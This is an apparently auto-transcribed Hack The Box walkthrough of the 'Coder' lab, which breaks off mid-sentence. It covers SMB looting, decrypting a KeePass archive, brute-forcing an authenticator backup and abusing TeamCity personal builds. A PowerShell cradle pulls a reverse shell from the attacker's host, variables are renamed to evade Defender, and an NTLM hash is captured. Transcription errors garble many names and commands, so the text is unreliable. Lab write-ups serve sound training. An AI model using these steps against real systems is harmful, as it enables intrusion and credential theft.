what's going on YouTube this is ipag I'm doing ker from hack the box which starts off with some crypto challenges that I actually enjoyed and I normally don't say that because I hate crypto the first one's just a simple net application that you can decompile and write a de crypto for the second one is a authenticator plugin that you can get a config file for and the trick here is not focusing on the ergon 2 hash and just brute forcing the as data directly then you get the um top keys that lets you log into team City and team City you can do some cicd pipeline hacking to get a shell on the box and with that you can begin some ads attacks you get a user that you can enroll certificates for which becomes really easy to exploit with certify but when this box was released certify wasn't really a thing at least it wasn't this mature and most people followed a blog post called

HackTheBox - Coder


certif fried which does a lot of steps manually and you got of jump through some rabbit holes we'll go through both of those things in this video so let's just jump in as always we're going to start off with an end map so n m-c for default scripts SV enumerate versions OA output all formats put in the nmap directory and call it CER then the IP address of 1010 111207 this can take some time to run so I've all already run it looking at the results we have a lot of ports open the first thing I notice is the simple DNS plus Banner on Port 53 and whenever I see that I scan down and look at other services like cerus ldap there's probably ldap s down here if we see this DNS as dco1 doc. htb So based upon all this we definitely know we're dealing with a domain controller I'm going to copy this and let's just start adding the entries into our host file so pseudo

HackTheBox - Coder


VC host and then we can do a 1010 11207 cod. htb dco1 doc. HTP so that is now added let's take a look at what's here so we have DNS we have a web service we have keros and we have ldap and um SSL there's probably 445 next which will be SMB um it's also telling us our time is about 8 hours out of sync so if we do anything with curos we need to sync the time first and I think that's about it for um end map so let's go and take a look at crack map exec real quick so we could do net exec SMB 10 10 11 uh 208 and this is just going to tell us some basic information the main thing I'm looking at is the host name and it was 207 not 208 and I guess while that goes or it's instant uh we see the name domain signing smbv1 so it's just something I like testing we can take a look at the website we can also do https to see if

HackTheBox - Coder


this is any different uh we could go bust try to um find valid files we could do some virtual host enumeration there's a lot of things we could test here but I'm also going to check SMB so let's do- IPC um- P oh let's just see we do D- shares see if we can list shares as Anonymous user we can't um if we give it a invalid username it doesn't have to be IPS can be anything let's just do does not exist and then some junk here and then we'll give it a blank password and see if this authenticates us it looks like it is I forget exactly what this is called but there's a few things like misconfigurations in SMB this being one of them I forget what it is but um I think when you don't specify a user it defaults to guest and if they disable guest then you can't see it but when you do specify a user it went goes to like

HackTheBox - Coder


Anonymous or something like that it's something funky there right but we can see there are open shares and we have access to the user share and development share we also have IPC but let's take a look at the user share so I'm going to do a SMB client then 10 10 11207 SL users uh we can also do a-n so it doesn't ask us the password and then give our name here dir and we have access to a a desktop it looks like desktop um let's see public nothing in here get desktop.ini let's see if there's anything in this file uh let's see it's probably going to be some encoding there we go uh it doesn't look like anything interesting so I don't know whose desktop this is or what it is um but let's go look at that development chair so if we do SL development do a DI here we have migrations we go in here um maybe it's LS

HackTheBox - Coder


migrations CD uh let's see CD migrations I don't know why that di command wasn't working but um we can see files here and if we did a mgit to download everything it's going to take some time um we can do that let's make D SMB and then we go in here do this say recurse on say prompt so it doesn't um prompt us for anything and then we do a get or M star and that's going to download everything but there's a little bit of overhead for every single file file um right off the bat we see a temporary project encryptor with a file um definitely want to take that take a look at that but there's a lot of files here so this takes a while another way we could do it um if we had cifs utils I think it is let's do app search CS util um I think I already have that on this but this will be the package that provides this right CFS utils so if the

HackTheBox - Coder


next command doesn't work you want to install that because you do amount period and see you have like smb3 and cifs which this provides so let's make a directory MNT and I can just do pseudo Mount um 1010 11207 SL development on MNT then just do enter for a password and then we go into MNT it's just mounted here and we have access to all the files now one of the interesting was this temporary projects has encryptor and s. blade. ENC so if I do file on encryptor we see it is a um net assembly so I've already copied it over to a Windows VM so I'm going to go over to the flare VM that I have and we just want to open this up in DN spy so we can see exactly what this encryptor is so it's loading this let's do file um let's see open encryptor and let's see module as so it looks like it's going to be an as

HackTheBox - Coder


encryption if I go to main we can see it takes a argument of ARG zero it um takes that adds thec so this is going to probably be do like encrypted it's going to get the current time and then use that as it looks like the seed or maybe IV or something so it's going to use the current time and then encrypt it so what we want to do is write a decrypter but first we need to know when this tool was ran because this is the important piece of um information for decrypting right so let's go back to our Linux VM and if we had just downloaded this file um I bet if I do CP encryptor and then let's go to http cter we go here let's do a stat against the file we see the timestamp is today if we did a g with SMB it's going to do the same thing but if we did a stat while it exists on this SMB server um it's different right and I'm

HackTheBox - Coder


doing it on encryptor we actually want s. BL blade so let's do a stat on s. blade. ENC and we see the time stamp so what we want to do is convert this Tim stamp to Epoch time and I don't know if it's the modify or the birth um I'm going to start with this one and then this doesn't work we'd move over to the other timestamp so we'll just do a date- d because it does convert to Unix seconds which is Epoch right so we'll add this and then I'm going to do a plus percent s and this just says um the output format so we take in this date this is going to be how we output it and I'm just saying output the seconds and we have a Epoch time here so let's grab this we will um let's just file export to project let's call this or the folder it wants we can put it in here it's going to open up visual studio so we can more easily work with this

HackTheBox - Coder


program I believe maybe it didn't automatically open I can click there and whenever dealing with something in crypto I always like using um the same language that the it was encrypted in right because if we decided to switch over to Python and write a decryptor I think this is just as there's a chance like the IV or some other value that's just default won't be the same because maybe the library sets that so that's why you'll see me just saying you know what let's do this inet since that's what it started in right so I'm going to copy the encrypt function and we're going to make a decrypt so we'll do decrypt file we give it give it a source file give it the destination file give it the key and IV and looking through starts this um it opens the destination file in create mode so we can write to it then

HackTheBox - Coder


it's going to create a encryptor I'm going to guess there's a thing called a decryptor doesn't have errors under it so it looks like that is fine if I did not know that I could probably just type like um this and then period and see the functions that it has right so we have the decryptor it's going to open and write the contents to it okay so now what we want to do is change main um I don't like having to specify arguments so let's just do a source file is equal to that's not what I want source file equal and then we'll do c colon proba two backs slashes users hipc desktop coder and we'll call it s. blade.

HackTheBox - Coder


ENC uh do we have to call that a string there we go and we'll do the same thing with destination and we'll just do s. blade okay let's get rid of this if then statement okay so file info I don't think we need that we don't need text because we Chang those so this is source file and then destination file okay then let's see this is getting the current time and going to time seconds I can just say um long num is equal to we don't have that on our clipboard anymore let's go back here copy this paste that okay encrypt file we want to call decrypt file and we can figure out what these are so let's see array 2 is really um the key so I'm going to call it key CU I definitely like hate these generic names there we go and then I'm guessing the other thing is IV so let's call this IV okay and let's see this random this has to be seed then I

HackTheBox - Coder


think and we can say this will be IV I think that's it let's see if it actually decrypts so in here we have s. blade nothing else we're going to run this it did not pop out an error and we have a file so I'm going to copy this back over to my Linux machine and we'll examine it to find out what type of file this is so copying it ser and finder tells me it is a seven zip let's just go and um take a look at it so we can do a file against s. blade we see it is a szip archived so I'm going to make a directory we'll call this um decrypted maybe I don't know a good name for it and let's just move s. blade over here and I'm just going to add the seven zip extension because that's the type of file it is so you can do ZL to list files in this and we have two we have key and a kdbx so this is going to

HackTheBox - Coder


be a key pass database I'm going to do ax to extract it and we can see both of those files extracted so if I do KP CLI um we can specify a key so let's do-- key and then we do the database with-- kdb and then s blade.

HackTheBox - Coder


kdbx I'm going to probably just do no master password and it does let log in so if we do LS we have root we can go into root and we have three different um options right we have the authenticator backup code Office 365 and team City and there is a new host name here so let's just add this to our host file so P sudo VC host and then we can add team City Dev and let's try navigating there so htps team City dev. carter.

HackTheBox - Coder


htb uh let's just go here as well um HTTP so this one goes to I but htps looks like it is logging in here so if we do a um show I think- F2 we can see this and it gives s blade and the password so let's try logging in so we do s blade put this password in and it wants a multiactor code so if we do a show- F0 um we have the authenticated backup code but it looks like it is encrypted so before I go there I'm going to do show F1 and we have Sade at coder and this password so let's try um crack map exec against this right so we can do net exec sb- us. blade DP put in this password and then 10 10 11207 uh 10 10 1127 it always throws me off that that goes before the arguments there we go and it looks like we have access we can do D- shares and let's see is there anything else so we had access to I think development and users before uh we have

HackTheBox - Coder


net log on because we're now a valid login session cisv um and users we could try um SMB client d s.

HackTheBox - Coder


blade um c. htb 10 10 11207 users and maybe we get into a different uh folder maybe we get into s Blades home directory right uh it does not look like it this looks to be the same place so this doesn't really get us much we could run Blood Hound now but blood Hound's not going to buy us much so all I'm going to do is vs. text and we'll do s. blade this and if I was doing the Box blindly um um I probably would be running Blood Hound here and looking through but I want to try put all the blood hound spot stuff in one spot so it stays a bit more organized uh because the next step is cracking this um authenticator backup right so we got to figure out exactly how this is used um or what generated this so if we look at the title it says authenticator backup codes and this is actually the name of a piece of software right I think I already installed it to Firefox

HackTheBox - Coder


but if we do authenticator um let's just say Firefox plugin we could also look at Chrome plugins but I don't have Chrome installed that's why I'm looking at the Firefox so if we do this we have the authenticator app um I already have this installed so um I'm not going to install it again so we just go here we can run this and I need to delete these let's just delete the codes sorry about that I forgot to clean that up after testing the machine so we have a blank authenticator what I would do here is figure out exactly how to add a code so let's go click on the little pencil icon plus manual entry let's do issuer IPC secret AB CD uh invalid account secret uh I think it has to be certain length there we go I think it has to be at least 16 characters and we have a um authenticated code so what I do next is

HackTheBox - Coder


let's try back up and then we will go let's see um whoops HTP coder and I'm going to call this um ip.

HackTheBox - Coder


Json and when I installed this I put the password of test I want to say um I probably should have just remove the extension so if I cat ip. Json we have the same exact format as we saw on this right even like down to the uid and everything so what we want to do is figure out how this application encrypts things uh my first step was I tried getting a bunch of argon 2 crackers um we could also do like argon2 hash validation let's see does this have anything online argon 2 online we could try it um if we scroll down but it never actually worked for me no matter what hash the plain text didn't line up even though it was so I'm not exactly sure how authenticator is using the hash and when we do the code we're actually going to ignore this all together and the reason why is it turns out these variables are just two AES encrypted things right um ergon 2 this has like

HackTheBox - Coder


key extension a bunch of things to make brute forcing this slow right so if it takes a long time to Brute Force this however all we use this hash for is probably to decrypt this secret which gets us the key that then decrypts this secret um we could just try to decrypt this right off the bat because doing one round of as 256 is going to be much faster than doing one round of argon 2 right so that's going to be why we kind of just skip this whole hash and why it we don't need it because it would be faster to just in this case um try to crack the um as data right and just skip the whole um out like argon 2 all together because that's low so if we went let's see authenticator let's see it probably had it here before I did Google right let's see authenticator Firefox here's the plugin do they have a link to the GitHub here uh homepage support site oh they

HackTheBox - Coder


linked open source and homepage brings us here so the source code to this authenticator plugin is all open source so that means we can easily see what's going on and I say easily and just because it is going to be a bit tougher um looking at web pack we see a bunch of TS so I'm guessing this is going to be typescript which I have zero um experience with right so this is probably going to be like the Argon tool background content popup import options debug I'm going to search for import first this one looks to be the most where it would have like custom functions like the decrypt it's using so let's go to Source import so if we go to Source import TS and I just go to decrypt we see there is a function decrypt backup data so it's going to um take it in and then it's just going to use cryptojs as to

HackTheBox - Coder


decrypt it and again just like the last piece with net I don't want to um use a different library to try to decrypt this right we don't see as passing in like an IV or anything else it's just using all data that's probably from the library so we'll have best results using the library um so we'll want to create a uh JavaScript or not JavaScript oh yeah a JavaScript thing to decrypt this and I had a lot of help with o xdf on this method uh when when I was originally doing the box I was chasing how to do argon o xdf is the one that I was like why don't you just decrypt um the encrypted and secret because that's going to be faster so let us begin crafting this so I'm going to make a directory let's just call this argon or not it's not even going to be argon cracked um authenticator crack yeah that's fine and then we can open up let's just touch um

HackTheBox - Coder


brute. JS we'll call it and then open up visual studio code here once that opens we will begin so the first thing we want to do is just be able to read a file so I'm going to do a const FS is equal to require fs and then we will do a um read line is equal to require read line so these are just standard modules file system and read line so we can create a um I guess we'll call it a a read interface and then read line create interface sure and it's having us read a hardcoded file um we could do that we could also specify the file ourselves so here we could just do process.

HackTheBox - Coder


arv2 um one will be the process itself so that would be the script two is the first argument so we have a read interface so we can do um read interface on lines I don't know if we need function here but I guess that's fine um console log line like that let's see there we go so let's test this out so let's do V ip. text and we'll say IPC was here so if I do a node on brute JS um invalid AR type function line uh let's see that there we go let's try this let's see main JS where are we oh crap I got rid of that change there we go um the is was I just didn't give it a argument we probably should say like um if length of process RGV is less than three let's say two um it's probably Len not length what is it it's length right I'm missing something there we go so now if I give it that let's go back to what I think it should

HackTheBox - Coder


be length is not defined this should not be this difficult get length of process arv uh that is what I had oh my God JavaScript get length of array it's probably a list but that just you get it array length closing do length do length there we go awesome so that took longer than it should have but hopefully um that elates your imposter syndrome if I can't code either so we have this we should check if the file exists before trying to open it but you saw how much trouble I had here so um we're not even going to attempt that uh let's see so we're going to read lines we have a console log line so now we actually want to test this does it read ic. text it does so now that we can read a file what we want to do is create cryptojs is equal to require cryptojs okay and this is the library it was using to decrypt it was just a cryptojs as decrypt right so let's see

HackTheBox - Coder


what we want to do is probably create all our secrets um let's go back here and this is going to be the keypass output we have two Secrets this is going to probably be the encrypted key and this is the in probably top we'll call it so let's grab this and say const encrypted key is equal to that and then we'll do const um top secret we'll say encrypted top secret and we will give it this okay both of those end in semicolon that is good okay let's see instead of logging the line now what we want to do is ver key is equal to cryptojs decrypt um I don't know if we want to say this is utf8 um let's see we'll do ver top secret is equal to that and then let's just do console log top secret okay so what I want to do is comment these out real quick this will be uh we'll call this um s blade and sec I want to say my key my P

HackTheBox - Coder


phrase was just test um we have that as well I think that was doip sec. Json let's use these values so we can test exactly what this looks like so const encrypted key and then const encrypted top secret grab this okay we do that and then we log so let's open our ic. text and I want to say I put the password is test um so let's do node brute uh module not found oh we have to do npm install cryptojs node Brute to specify the file let's see malformed UTF data let's see let's just get rid of this and we have hex this looks like so xxd D r-p Echo this we probably need a-n and that looks to be fine let's see if I put something bad in ic. text let's do that's our key what happens here we get no data so that may be fine I was expecting this to be longer um but let's just move on with that assumption so test like it not showing anything is great um that's probably

HackTheBox - Coder


just non- asky characters right let's do this again xxd no it just did not put anything okay oh that is 16 right yeah that is definitely 16 it's 16 in HEX it's length so what we want to do is have our script decode oh we want key there CU we're decrypting both with that let's see what does this look like there we go that is what I expected actually um ABCD ABCD ABCD um that's what I had typed when I was generating the um secret so that is what we want and that is exactly what I expected so it just working um with this was blind luck right or not even luck it was horrible luck because it's still decrypted to an asy value and that's not what we want um well that is what we want but it didn't decrypt to the right one so let's do line uh key there we go so what we want here is this two string to give us asky and

HackTheBox - Coder


we'll do a cryptojs encrypt utf8 so now when I run this without the xxd it just shows me this so what I'm going to do is wrap this in a try catch and we're just going to not handle errors and the reason why I'm doing this is now that we're specifying this utf8 if we get data that is not utf8 um decryptable then it's going to throw an error and we don't want the script to bail out we just want to keep continuing so if I do this does this now work does and I'm going to um make this change back let's do line line and if we console log erir it's going to say something about it not being U it's being malformed and the reason why I think is there's non utf8 value when we did it the bad way it's still displayed like it was human readable like this is asky but it had non asky in here is what I'm guessing so I think this may be all we need once we fix this back up so if we

HackTheBox - Coder


can decrypt it twice and we don't throw an error converting it to utf8 go here so let's put the production keys in we can run this and I'm going to do users share wordlist rocky. text and we definitely don't want to log errors anymore I think we can just call break or maybe how do we end Exit Zero okay and I also want to log see we'll do um pass phrase is the line and then dop is the secret that looks fine you run and I don't think that is going to be correct because the top is short so what you want to do is make sure the seed is of length right so we can say um let's see how would we do that if top secret length does not equal I think it knows it was 16 characters exit there and let's just do if top length is greater than 15 I know 16 was the minimum but I don't know if um it could go more right so we run

HackTheBox - Coder


this and maybe we don't return oh we're still doing IPC there we go so we're going to run this hopefully it cracks within a couple minutes if not we did something wrong Let's see we do top secret length 15 that should be right let's see actually before I do that let's just we'll add that return back in I'm going to test one last time with my data that looks good let's put some bad things in here okay so I'm confident our script looks good I'm going to put a time here and I'm just going to let this run and we'll see if it finishes and outputs anything or if um it doesn't so yeah and almost soon as I stopped hitting record it finished we can see it only took 27 seconds we got the P phras of skyblade and here is the top so if we wanted to decrypt that file we could but we could also just insert

HackTheBox - Coder


the top right um let's see uh I hate this interface plus manual entry issuer we can call this team City and then the secret should be this value and of course the authenticator exited plus manual entry there we go team City okay so now we have a MFA key so let's test it and if this didn't work then I would probably um try to import invalid actually if this doesn't work the first thing I want to do is make sure my dates in sync remember when we did end map um and it told us we're about 8 hours off that could be breaking this right because the whole purpose of tops is based upon time right so if the server time is 8 hours off or off by over a minute probably the whole um pin code thing is going to break because the seed is being generated with invalid data right so let's copy this put it in and it's taking longer it did not

HackTheBox - Coder


reject it immediately so I think that was it so definitely make sure your time is in sync um when entering any tops right because they are time based the login does take a while but it looks like it is working and now that we're logged into team city um we should ask ourselves what the heck are we logged into so I'm going to go and say um what is Team City and the software was called jet brains or the publisher and it's just a cicd tool so we're probably going to be some typ of cic pipeline exploitation in this or maybe there's just a um secret somewhere this if I click on build config let's see if we go to change log let's see what there is here um success nothing there we got a build log though so let's download the build log and see if it says anything interesting so SE and team City build agent temp checkout directory updating

HackTheBox - Coder


Source step one it is running Powershell and we see it execute something um and just says hello world so if we looked at the um SMB more in depth uh let's see if we go to migrations team City test repo I think it was there is a hello world. PS1 which is that this file we don't have right access here neither um our Anonymous user or S blade had read right on this file system so there's not much we can do um it is a get right dubious what don't know what I'm doing with this command we'll run it and hope for the best do get log it's taking its time because this is an SMB Mount so it's got to read a bunch of files we just see Sonia blade so we have who s is so this is Sonia's account um we want to figure out a way to edit this right we could click on other projects but if we click here um there is this flag that says run

HackTheBox - Coder


as personal build and if we do um it says click or upload a patch diff so what I'm going to do is let's copy this team City repo um to our box have to do a DHR so this is going to copy the G and this and I just realized we did download every single file already so um maybe I did not need to do this but doesn't take too long now it's done and then let's go in team City we can edit hello world. PS1 and let's put um please subscribe okay and now if I do a get di we have the diff file so I'll just call this def. text and if we upload this uh let's go HTP coder team City test repo d. text run build we can see if we can change the output if we can then then we can just put our Powershell stuff in this file and get it executed right so it is running taking its time loading tabs I may have wanted to

HackTheBox - Coder


like to prioritize it because one of the options was like put it on top of the queue right I don't know if that'd be faster updating sources hello world we do show full log step one one and we see please subscribe here so it definitely does run so what we want to do is edit this so I'm going to do hello world. PS1 and I'm just going to say new object uh net. webclient download string that right I think we go like that HTTP 10 10 148 we'll listen on 8,000 I'm going to call this shell.

HackTheBox - Coder


PS1 and that and that is that the valid poh tradle I think that's valid let's see if it executes um CD make dubdub duub touch shell. PS1 actually let's copy CP user share Nang shells invoke Powershell TCP online.

HackTheBox - Coder


PS1 okay okay and let's send the shell to 10 10 14 8 901 so python 3-m HTTP server we'll do RL R NC lvmp 901 and then get diff d. text so now we have this running our code that ex line does not look right to me by the way but maybe it still works let's run it and we'll see we do get a hit on shell but nothing here um do we have anything in the output the script contains malicious content and has blocked by antivirus so um Defender is catching this and about a year ago I forget exactly what video it was but we did do some Defender evasion on this U let's go ic. rocks I just do Nang AV there's probably the search video that's why I was playing with this live and figuring it out but let's kind of redo what we did there so let's change all client and we'll change that to IPC and we probably should do dollar client dollar IPC and then I'm going to go over to the

HackTheBox - Coder


next variable which is stream so we'll just rename this one so we'll do dollar stream is equal to uh we'll call this please sub okay let's look for the next unique thing uh we may want to rename bytes but I don't think we'd have to we can do data um we'll do dollar data the stuff okay I'm going to do send back as well because send back seems like it could be flagged on uh so we'll call this dollar send back and I'll say um stuffff okay I think that may be what we need to do and in that one video I had referenced I also deleted this PWD path so we just remove this and I'll delete PS as well I think that's what I did let me see yeah I'm pretty sure that's it that's part of the console prompt which funly enough is part of the flag so let's save this and see what happens when we um send it now so because uh we just use the Cradle to install it's just doing an ex we get

HackTheBox - Coder


lucky and um don't have to modify the get DEF right that's why I wanted to do it this way because it just makes it so much quicker and oh shoot we forgot to listen I still caught it and we got the shell so let's do who am I and we can see we are c/ um service team city so we have successfully got access to this account so we could try to get the password um let's see let's do pseudo responder dasi ton zero okay and then let's do um get file 10 1048 and just a random thing so this is going to make ANB request to us I thought it would maybe not um NC lvmp 445 let's just see if that command did anything it did not um it's probably get file contents or something that I need to do does type work type does so we'll use typ and there we go we got a hash for team city so we could start trying to crack this in the background so we get

HackTheBox - Coder


the password um we can also just do further enumeration right um we are in C colon team City build agent work um if we look at anything else here um what is in Old we do cd. old nothing um if we go to program data program data that's it right yeah uh let's see there is a jet brains and the thing I was looking for when I was perking around at these directories was um what was it like credentials and things like that that's why I was going in here uh we can go in config let's see type main config.xml SVC nothing so would want to poke at all of these to see if like password or anything is in these configs um and it looks like our shell died so there is a timeout which is annoying we could probably like spawn a new process and then execute it um but I don't know how to do that off the top of my head so we're not going to do it the downside

HackTheBox - Coder


of doing these videos live uh let's do program data I guess the easiest thing we do would be like upload netcat 64 and then just run that right um like uh cmd.exe C SP a new process and run it that way would probably be the easiest we don't have to do that um if we went in system let's see what is here artifacts there is also changes and if we look at changes these are going to be our changes I think this is like the personal builds maybe I don't know exactly how this populates but these are all us 124 we also have one on 118 if we type this out um we get a lot of changes and one of the key things is we see this is going to be encrypted do text there was a key convert to secure string so let's copy all of this this is going to be get adcs report and that's a um diff get as well so I'm going to copy that and then let's

HackTheBox - Coder


go on the mount um and we want to find where that is if that does have a repository if we go to migrations there is adcs reporting and get adcs report so it's probably going to be this so let's cp-r adcs reporting back to our box and then we're going to apply this diff and extract the files out of it um I'm sure we could just carve it out manually by hand but this is infinitely easier so it is copying let's go in that directory we can just call this diff doget uh let's see paste that in so again if we look at this it is just the diff so let's do get apply this um um did it apply it did so it applied and also gave us a warning that the permissions were wrong but now we have a key an encrypted do text so if we look at encrypted text it looks like it's base 64 if we look at Key there's a bunch of btes so if we do this they are doing a get content and

HackTheBox - Coder


then cred to pull this password so we essentially want to copy this and um just output the password right and we can't decrypt it on our machine because um the secure string uses a variable that's on the host itself but because we can go on the host and run it as other users we can safely do all of this so what we want to do is get the key and encrypted text onto the box and then we can run these um we could also probably apply the get diff to this all but um let's actually do that that should be easy so I'm going to copy the encrypted text in the key and we're going to copy it to the team City test repo this is the one where we have hello world and let's see all I want to do is get add on encrypted do text and key. key okay and now if I do get diff here it is not adding I wonder if we have to

HackTheBox - Coder


specify all the files so we'll do encrypt text key key um no I bet we just did the head which would be compare it against the last commit it looks like that does it so let's do get to this to.get so now when we get the shell it will automatically have um some things we want right and did I have yeah I do right here okay so let's go here let's run as personal diff run it's going to get shell going do a DI and we don't I really thought we would have the key and whatever in here um probably because I C it something different by D.G get yeah and d. text is the old thing let's try this again so we'll run personal build um should I deleted the bad one D.G there we go connection dir and we have the files that is awesome so if we go up one directory it was in the adcs reporting um if we look at the get adcs report how it does

HackTheBox - Coder


it we can just copy this then we copy the password and then we can do cred and if we output cred um write post cred is it cred do password that doesn't seem good um Echo pass Echo key so key worked password did not um not sure exactly why that's cat. text this is the file it's reading I wonder if this is all just one file and that line break is screwing it up let's copy that to dubdub dub um curl 10 1048 8,000 uh encrypted text outfile encrypted text I see the download went off let us uh it's still here right I can just hit oh I'm not in RL rap shoot let's do pass again that looks better we got something back we can do cred there we go and then cred do password it is secure string so we have to decrypt that but our shell died so we are getting close um let's see let's go back here if I do encrypted text I already

HackTheBox - Coder


put it on one line so um shoot I did not mean to delete that pan I want to create a new diff doget let's remove those we say get diff head then diff doget that looks good so now what we want to do is get the password and make sure we can um decrypt it so let's go back here get our shell personal build run okay we have it and then where is it key. key here we go grab this line paste let's get pass paste make sure we have the system secure string create the cred object okay and then I think the thing I did not do was get network credential there we go so we got e black as the user and we also want to grab the password out of this password and that's his user uh credential okay how do have creds do text open not you here it is um e Blake was it he black okay so we have these two users let's do net exec SMB 1010

HackTheBox - Coder


11207 e black and the password this I'm guessing both these people using the same password manager the passwords look um eily familiar just based upon the length and types of characters uh let's see we have success but we can't log in with SMB if we do wi RM it looks like we can so the other user we could not do winrm this one we can so let's do evil win rm- I the IP 10101 11207 u e black and the password and this will get us a shell that I guess we're not going to use right away um remember a little bit ago I was talking about there's a lot of enumeration we could do with things like blood hound with the previous user that we just didn't do because I want to put all that enumeration in one part of the video so this is it um typically whenever I get a user let's just exit key pass I would do things like run

HackTheBox - Coder


Blood Hound so we do have um I think Blood Hound python uh oh I run it and Docker that's it so if I go opt Blood Hound that's not it let's do Blood Hound P we have this um we could install it with imping and everything but I've gotten the Habit more of just using the docker files because it will automatically like keep everything up to date like when we build this Docker it will go and Pull impacket and set it all up for us um this one's a bit annoying because it does have some dependencies that just create for painful times so I would do like Docker build dot-t for tag and call it Blood Hound Pi or I forget what I called it um but I already have it built that's what I did to build it I called it Bloodhound Das python so what you can do once you have that is you just do doco run and then we

HackTheBox - Coder


specify what directory we want to share with this container so I'm going to share home IPC htb and the box which is coder and then a colon where we want to share it to I think the correct place is like Bloodhound data but it really doesn't matter I'm always in the habit of just mounting to SL Mount then we say we want interactive and specify Blood Hound Das python so this is going to stand up the docker container and now we have blood hound here I'm just going to go into Mount because this is where we have shared it with the host and we can say blood hound data here and we can run it so let's do Bloodhound Das python uh we're going to collect everything um the user e black password um that's not it let's see the quickest way to get that would be go down here cat creds copy put that in so we got the password

HackTheBox - Coder


in then we want to specify the name server of 1010 11207 uh the domain c. htb the DC we do dco1 cter htb and zip so I think this will run it says ldap authentication is refused because ldap signing is enabled and it goes to use ldaps and starts dumping everything we could do it with each user but blun Hound doesn't really get better with the more users you do it if you just Target the domain controller because it's not like quering private information if you do start quering the domain and going to all the computers in it of course if you have a uh like different accounts see different things but now we have The Blood Hound data let us go in opt blun Hound like this and I also want to start near 4J so I'll do pseudo near forj console this starts the database that we will import everything in and then we just do

HackTheBox - Coder


um it's a bloodhound and then once this opens we just want to drag and drop our data into it so I can go here drag this and it will upload all The Blood Hound data and we can begin looking at it um spoiler we don't really get that much but there's some cool things we can look at that I don't think I've shown before um I forget exactly how to zoom in on blood hound I hopefully this text is fine um let's see real quick Blood Hound Zoom text bigger I know it's just a chrome window font size that Reddit purse may be good come on there we go don't see it there I've done it before don't know how to do it now um hopefully it's good when I need to type stuff I'll just move away from um that so the one thing we will want is to turn debug mode on and you'll see why that's important in a minute but let's just do some analysis uh we have e black

HackTheBox - Coder


so we can add him Merk as owned uh we also have the team City account we can Mark as owned who else do we have we have the Sarah blade Mark as owned okay and then you could click around and do the shortest path from like own principles and you'll find there's really no paths um I did not click that uh own principle there we go s blade e black uh ebl Can PS remote so that shows us the um reme remote desktop that we already knew about so there's really nothing here if we just keep clicking around doesn't show any vulnerabilities and one of the things I don't know how to show from this but we can do it manually is the U because that's going to be important um we go to database info we can see there's 10 users five groups oh that's on Prem objects wait did I not get U there should be OU refresh database stats there we go I guess this pulled it

HackTheBox - Coder


when it was still loading so there's 55 groups one computer Five O three gpos one domain so what we want to do is show me all the OU in this um we could look also before we do that I guess look at the group so what I would normally do is look at outbound control and see what things are so we have eblack here and E black is a member of domain users pki admins and Remote Management users pki admin is not a default group if we click on it it says it's for managing the adcs certificate and template management so let's take notes real quick as we go through this so votes. text um e Blake p K admin and let's just say modify adcs templates so what that tells me is this enables us to create certificate templates which then we can later abuse so the first thing I would do after seeing this is um Can

HackTheBox - Coder


eake enroll computers because if he can that's an easy one to exploit so let's go back to the net exac that was three I think do I have it here um I guess we just type it again cat SMB or creds so we can do net exact um ldap then 1010 1121 207 dasu E black-p put in his password - capital M maq this is going to get the machine account quar attribute from l and on other boxes we're able to enroll it this was probably sent to 10 because that's the default it's now zero so we can't enroll a computer if we look at s blade can uh Sarah enroll a computer so let's do s blade forget exactly how to delete the whole word there we go it's going to run and machine account quar is zero so we can't um do uh enroll computers right now so we know e black is a member of that let's go look at um the team City

HackTheBox - Coder


account or service team City let's go to outbound transitive object control doesn't show me anything so let's go to the next one um s blade let's go to Sarah guess I have to click here there we go oh it's Sona Sonia I thought it was Sarah for some reason but it's Sonia uh let's see click here and we can see what Sonia is a member of that I used to call Sarah so domain users build agent management and software developers so um let's do s blade and I'm going to put the unique groups so she is a software developer and what's the other one we'll do build management build is it AGT nope agent MGMT so Sonia is a member of both of these groups we don't know what these groups do um the comments I think are blank see domain I don't see a comment here go to developers and this is just the cic CD development so it's team City build

HackTheBox - Coder


agent management so there's not really any information the one thing that it's we haven't been able to see right now is U and think of that as just like the folder structure within active directory um Blood Hound can show it we just have to go to do a raw Cipher query and when you have debug enabled you can see all the queries that are running so you can get an idea exactly um what it doing like find domain admin we matching going after the group relationship and showing members um that are part of it right so this is the like arody directional thing I'll copy this here so that's the what the query was we're going to kind of change it and this is saying like um show me the relationship with at least one member so it's not going to show you a group with no members and then it's also looking at where the object Sid ends in 512 which

HackTheBox - Coder


is I think the local administrator one right um this is going to be the domain Sid so that's why it's a wild card so that's how that query Works we're going to kind of change it up and the best place I think to learn the cipher syntax is the hack the Box Academy course um I know it's one of the higher tiers a lot of people like why is blood hound so tool so simple um cost more money than most of the training on Academy the answer is because it teaches some pretty indepth stuff Blood Hound is really powerful um people just generally don't use like the custom syntax features like we're about to show so we're going to say or custom Cipher queries I should say um we're going to match the OU and we're going to make sure it contains nothing because we don't care if there's nothing underneath this OU it's not like a group where um it always

HackTheBox - Coder


has items and if it doesn't have items it doesn't matter we're not showing what's underneath OU right because um forg getet what I'm saying um like the OU could contain other things like you put groups in OU users in OU right we're just looking at OU right now so we'll do that return like that so this is going to be the cipher query so let's cat this grab it go over here and now we have it how do I hide this there we go so we see all five o so one two 3 four five the reason why um we don't have like these two linked is these are both under the parent right there's the domain right here which is technically not an OU that would link both of those um I forget exactly what that's called but we can see domain controllers has one child that is going to be dco1 and that is a computer object we have development build agents users

HackTheBox - Coder


groups and like the groups has software developer build agent management there's also this OU that has nothing in it um we want to see exactly what the purpose of this OU is and unfortunately we can't do it from Blood Hound this is where we go into um the when RM component right so let's go over to when RM let's see that was the blood hound no for I forget exactly where I was logged in I could swear I left myself logged in that is right here awesome so let's call this Wim and now we can run a get AC command and then specify the OU we want so I want to do this OU so let's grab this okay if I do this command we have path earner access it doesn't format well on my screen but if we put this all in parentheses we can dump access and this is going to show everything right and the identity reference is who can access it so what

HackTheBox - Coder


we want to do there now is do a pipe and say where identity uh reference is equal to um the group right so we want to do coder which is the domain back slash let's see what group do we want we can do software developers so software developers uh maybe I have to put this in caps or it's possible software developers doesn't have any rights over this OU so let's try the next one um build agent UND uh build agent MGMT and that has nothing is that case sensitive let's do all caps build agent like that let's see I think that was supposed to return something so we do have identity reference here so we have an error on our Command and let's see what did we do wrong let's just paste it exactly as it was so cter and then I guess that's camel case I probably Mis typed this there we go so it's not Cas sensitive uh you just have to put the um casing correct or the

HackTheBox - Coder


